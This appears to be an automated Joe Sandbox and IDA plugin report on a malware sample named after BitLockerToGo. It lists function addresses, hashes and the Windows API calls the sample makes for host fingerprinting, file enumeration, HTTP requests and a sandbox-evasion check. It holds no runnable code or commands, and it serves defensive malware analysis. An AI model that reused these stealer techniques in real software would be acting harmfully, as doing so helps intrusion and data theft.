Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ced749b1db02a6195d4841b49078ca293138f5f03bc500498a5df3bb651919d7
Instruction ID: a4ec5e783ceace2c8a4c88a9498d13a2d612528d04a95d406490d81fc8f7b94c
Opcode Fuzzy Hash: ced749b1db02a6195d4841b49078ca293138f5f03bc500498a5df3bb651919d7
Instruction Fuzzy Hash: 2D113070910108ABDB15FF64DDADAFD777AAF50300F804168ED0A6A590EF30AB09CF90

Function 02764F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

lstrcat.KERNEL32(?,00000000), ref: 02764F7A
lstrcat.KERNEL32(?,02771070), ref: 02764F97
lstrcat.KERNEL32(?,029E4C08), ref: 02764FAB
lstrcat.KERNEL32(?,02771074), ref: 02764FBD

Part of subcall function 02764910: wsprintfA.USER32 ref: 0276492C
Part of subcall function 02764910: FindFirstFileA.KERNEL32(?,?), ref: 02764943

Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FDC), ref: 02764971
Part of subcall function 02764910: StrCmpCA.SHLWAPI(?,02770FE0), ref: 02764987
Part of subcall function 02764910: FindNextFileA.KERNEL32(000000FF,?), ref: 02764B7D
Part of subcall function 02764910: FindClose.KERNEL32(000000FF), ref: 02764B92

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ca834555c2fa88742a5b6a33e3b4fb0a8c4bd5cbfb9a3f3cdea1105c547ccb7c
Instruction ID: 845521095554d8a7becc5e463f0e24a8be2ee1e14c51b83b0194e81038a3f8cb
Opcode Fuzzy Hash: ca834555c2fa88742a5b6a33e3b4fb0a8c4bd5cbfb9a3f3cdea1105c547ccb7c
Instruction Fuzzy Hash: 0621A1B6D442086BDB55FBA4DC4DFFD733DEB54300F404958BA4A92140EE749AD88FA2

Function 02760740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,029E4AD8), ref: 0276079A
StrCmpCA.SHLWAPI(00000000,029E4908), ref: 02760866
StrCmpCA.SHLWAPI(00000000,029E4C18), ref: 0276099D

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 416b67dcf6a50116872512edebe2a2ea84e057463d21fc023e5a5dc61dbbfc0b
Instruction ID: e8a837c536bc3a15d2f5f3d5efa75c7c673aa6fcb7eeb6c220ce9b08dd107233
Opcode Fuzzy Hash: 416b67dcf6a50116872512edebe2a2ea84e057463d21fc023e5a5dc61dbbfc0b
Instruction Fuzzy Hash: 12913475A102099FCB29EF64D999BFDB7B6FF94300F508519DC0A9B241DB30AA05CF91

Function 02760765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,029E4AD8), ref: 0276079A
StrCmpCA.SHLWAPI(00000000,029E4908), ref: 02760866
StrCmpCA.SHLWAPI(00000000,029E4C18), ref: 0276099D

Part of subcall function 0276A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0276A7E6

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 2202a4a876b01b8dfbfcf4e68a56cafb8b2c21247c158cf54e3aba13bacfff2c
Instruction ID: a66387025f8ae64dd02133baaca5cc7254931890727a0cc1544d63f505bab844
Opcode Fuzzy Hash: 2202a4a876b01b8dfbfcf4e68a56cafb8b2c21247c158cf54e3aba13bacfff2c
Instruction Fuzzy Hash: 32814475A102099FCB19EF64D999BFDB7B6FF94300F508519D80A9F241DB30AA06CF91

Function 027678E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,02766A2B), ref: 02767910
RtlAllocateHeap.NTDLL(00000000), ref: 02767917
GetComputerNameA.KERNEL32(?,00000104), ref: 0276792F

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: ee5f503a541407c70cfeb9f5a19a5efa676ac8aba17e4f2809b1e786d791bf3c
Instruction ID: 4b808f1a695336c2562d2f141a7505241a74aae8cecfcd7522f5eeb9ee9af4d4
Opcode Fuzzy Hash: ee5f503a541407c70cfeb9f5a19a5efa676ac8aba17e4f2809b1e786d791bf3c
Instruction Fuzzy Hash: D801A2B1A44204EBD704DF89C849BBAFBB8F704B21F004259E905E2280C37455008BA1

Function 6C7F3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C7F3095

Part of subcall function 6C7F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C87F688,00001000), ref: 6C7F35D5
Part of subcall function 6C7F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7F35E0
Part of subcall function 6C7F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C7F35FD
Part of subcall function 6C7F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7F363F
Part of subcall function 6C7F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7F369F
Part of subcall function 6C7F35A0: __aulldiv.LIBCMT ref: 6C7F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7F309F

Part of subcall function 6C815B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8156EE,?,00000001), ref: 6C815B85
Part of subcall function 6C815B50: EnterCriticalSection.KERNEL32(6C87F688,?,?,?,6C8156EE,?,00000001), ref: 6C815B90
Part of subcall function 6C815B50: LeaveCriticalSection.KERNEL32(6C87F688,?,?,?,6C8156EE,?,00000001), ref: 6C815BD8
Part of subcall function 6C815B50: GetTickCount64.KERNEL32 ref: 6C815BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C7F30BE

Part of subcall function 6C7F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C7F3127
Part of subcall function 6C7F30F0: __aulldiv.LIBCMT ref: 6C7F3140

Part of subcall function 6C82AB2A: __onexit.LIBCMT ref: 6C82AB30

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 1484a2a87a11838f89d7edb7ccd5e04918b401f17c18668e552b136a7de395f0
Instruction ID: 4a16f77e82b0a0c4cbb1b6a0c0530000cc0db25f29815486b7d4f2afd43dbc30
Opcode Fuzzy Hash: 1484a2a87a11838f89d7edb7ccd5e04918b401f17c18668e552b136a7de395f0
Instruction Fuzzy Hash: DAF0D622D2075496CB31EF7989891EA73B0AF7B218F50573AE85953611FB2066D8C3E2

Function 02769470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 02769484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 027694A5
CloseHandle.KERNEL32(00000000), ref: 027694AF

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: e27fcaf946006beef7fe122e84745cf080237bc452b1aa32d7ed4127c86e0667
Instruction ID: 9bb1edfe8347a97048f6cb555d47475275a93b752d4c03a1004ac306cf02c924
Opcode Fuzzy Hash: e27fcaf946006beef7fe122e84745cf080237bc452b1aa32d7ed4127c86e0667
Instruction Fuzzy Hash: 58F05E74D4020CFBDB05DFA4D84AFFE7778EB08314F004498BB0997280D6B06A85CB90

Function 02751110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,02766A1C), ref: 0275112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,02766A1C), ref: 02751132
ExitProcess.KERNEL32 ref: 02751143

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d426f3d9233d82ec986c984e683cfae847f681b838f3f6adde8f2b384b86ebea
Instruction ID: 7985ba633f09b9e64ca65afd7478eb1914d46aeb6cf8f021fa7a58334b409f52
Opcode Fuzzy Hash: d426f3d9233d82ec986c984e683cfae847f681b838f3f6adde8f2b384b86ebea
Instruction Fuzzy Hash: 86E0E670D99308FBE7106BA59C0EB197678EB04B12F504454F60D761C0D6F526109A99

Function 02761A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 0276A9B0: lstrlen.KERNEL32(?,02771110,?,00000000,02770AEF), ref: 0276A9C5
Part of subcall function 0276A9B0: lstrcpy.KERNEL32(00000000), ref: 0276AA04
Part of subcall function 0276A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0276AA12

Part of subcall function 0276A8A0: lstrcpy.KERNEL32(?,02770AEF), ref: 0276A905

Part of subcall function 02767500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 02767542
Part of subcall function 02767500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0276757F
Part of subcall function 02767500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 02767603
Part of subcall function 02767500: RtlAllocateHeap.NTDLL(00000000), ref: 0276760A

Part of subcall function 0276A920: lstrcpy.KERNEL32(00000000,?), ref: 0276A972
Part of subcall function 0276A920: lstrcat.KERNEL32(00000000), ref: 0276A982

Part of subcall function 02767690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 027676A4
Part of subcall function 02767690: RtlAllocateHeap.NTDLL(00000000), ref: 027676AB

Part of subcall function 027677C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0276DBC0,000000FF,?,02761C99,00000000,?,029E51D8,00000000,?), ref: 027677F2
Part of subcall function 027677C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0276DBC0,000000FF,?,02761C99,00000000,?,029E51D8,00000000,?), ref: 027677F9

Part of subcall function 02767850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,027511B7), ref: 02767880
Part of subcall function 02767850: RtlAllocateHeap.NTDLL(00000000), ref: 02767887
Part of subcall function 02767850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0276789F

Part of subcall function 027678E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,02766A2B), ref: 02767910
Part of subcall function 027678E0: RtlAllocateHeap.NTDLL(00000000), ref: 02767917
Part of subcall function 027678E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0276792F

Part of subcall function 02767980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,02770E00,00000000,?), ref: 027679B0
Part of subcall function 02767980: RtlAllocateHeap.NTDLL(00000000), ref: 027679B7
Part of subcall function 02767980: GetLocalTime.KERNEL32(?,?,?,?,?,02770E00,00000000,?), ref: 027679C4
Part of subcall function 02767980: wsprintfA.USER32 ref: 027679F3

Part of subcall function 02767A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,029E5C38,00000000,?,02770E10,00000000,?,00000000,00000000), ref: 02767A63
Part of subcall function 02767A30: RtlAllocateHeap.NTDLL(00000000), ref: 02767A6A
Part of subcall function 02767A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,029E5C38,00000000,?,02770E10,00000000,?,00000000,00000000,?), ref: 02767A7D

Part of subcall function 02767B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,029E5C38,00000000,?,02770E10,00000000,?,00000000,00000000), ref: 02767B35

Part of subcall function 02767B90: GetKeyboardLayoutList.USER32(00000000,00000000,027705AF), ref: 02767BE1
Part of subcall function 02767B90: LocalAlloc.KERNEL32(00000040,?), ref: 02767BF9
Part of subcall function 02767B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 02767C0D
Part of subcall function 02767B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 02767C62
Part of subcall function 02767B90: LocalFree.KERNEL32(00000000), ref: 02767D22

Part of subcall function 02767D80: GetSystemPowerStatus.KERNEL32(?), ref: 02767DAD

GetCurrentProcessId.KERNEL32(00000000,?,029E5118,00000000,?,02770E24,00000000,?,00000000,00000000,?,029E5C80,00000000,?,02770E20,00000000), ref: 0276207E

Part of subcall function 02769470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 02769484
Part of subcall function 02769470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 027694A5
Part of subcall function 02769470: CloseHandle.KERNEL32(00000000), ref: 027694AF

Part of subcall function 02767E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 02767E37
Part of subcall function 02767E00: RtlAllocateHeap.NTDLL(00000000), ref: 02767E3E
Part of subcall function 02767E00: RegOpenKeyExA.KERNEL32(80000002,029E10E0,00000000,00020119,?), ref: 02767E5E
Part of subcall function 02767E00: RegQueryValueExA.KERNEL32(?,029E5438,00000000,00000000,000000FF,000000FF), ref: 02767E7F
Part of subcall function 02767E00: RegCloseKey.ADVAPI32(?), ref: 02767E92

Part of subcall function 02767F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 02767FC9
Part of subcall function 02767F60: GetLastError.KERNEL32 ref: 02767FD8

Part of subcall function 02767ED0: GetSystemInfo.KERNEL32(02770E2C), ref: 02767F00
Part of subcall function 02767ED0: wsprintfA.USER32 ref: 02767F16

Part of subcall function 02768100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,029E6088,00000000,?,02770E2C,00000000,?,00000000), ref: 02768130
Part of subcall function 02768100: RtlAllocateHeap.NTDLL(00000000), ref: 02768137
Part of subcall function 02768100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 02768158
Part of subcall function 02768100: __aulldiv.LIBCMT ref: 02768172
Part of subcall function 02768100: __aulldiv.LIBCMT ref: 02768180
Part of subcall function 02768100: wsprintfA.USER32 ref: 027681AC

Part of subcall function 027687C0: CreateDCA.GDI32(029D0598,00000000,00000000,00000000), ref: 027687F5
